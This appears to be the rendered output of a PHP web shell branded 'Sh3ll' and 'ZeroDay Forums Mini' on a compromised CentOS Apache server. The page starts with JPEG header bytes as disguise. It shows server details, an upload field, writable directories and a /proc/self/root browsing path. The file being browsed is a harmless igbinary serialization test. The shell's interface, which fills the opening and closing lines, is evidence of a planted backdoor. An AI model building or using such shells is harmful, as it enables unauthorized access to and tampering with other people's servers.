����JFIF��� ( %"1"%)+...383,7(-.- 404 Not Found
Sh3ll
OdayForums


Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.20
System : Linux st2.domain.com 3.10.0-1127.10.1.el7.x86_64 #1 SMP Wed Jun 3 14:28:03 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 7.4.20
Disable Function : NONE
Directory :  /proc/self/root/usr/share/tests/pecl/igbinary/tests/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //proc/self/root/usr/share/tests/pecl/igbinary/tests/igbinary_066.phpt
--TEST--
Test serializing different empty arrays
--FILE--
<?php

// The serialization might be different based on php version and opcache settings.
// So, test the unserialization instead.
$a = array();
var_dump(igbinary_unserialize(igbinary_serialize(array('1st' => array(), '2nd' => array(), '3rd' => array()))));
echo "\n";
var_dump(igbinary_unserialize(igbinary_serialize(array('1st' => $a, '2nd' => $a, '3rd' => $a))));
echo "\n";
$result = igbinary_unserialize(igbinary_serialize(array('1st' => $a, '2nd' => &$a, '3rd' => &$a, '4th' => array())));
var_dump($result);
$result['2nd'][] = 2;
var_dump($result);
echo "\n";
?>
--EXPECT--
array(3) {
  ["1st"]=>
  array(0) {
  }
  ["2nd"]=>
  array(0) {
  }
  ["3rd"]=>
  array(0) {
  }
}

array(3) {
  ["1st"]=>
  array(0) {
  }
  ["2nd"]=>
  array(0) {
  }
  ["3rd"]=>
  array(0) {
  }
}

array(4) {
  ["1st"]=>
  array(0) {
  }
  ["2nd"]=>
  &array(0) {
  }
  ["3rd"]=>
  &array(0) {
  }
  ["4th"]=>
  array(0) {
  }
}
array(4) {
  ["1st"]=>
  array(0) {
  }
  ["2nd"]=>
  &array(1) {
    [0]=>
    int(2)
  }
  ["3rd"]=>
  &array(1) {
    [0]=>
    int(2)
  }
  ["4th"]=>
  array(0) {
  }
}

ZeroDay Forums Mini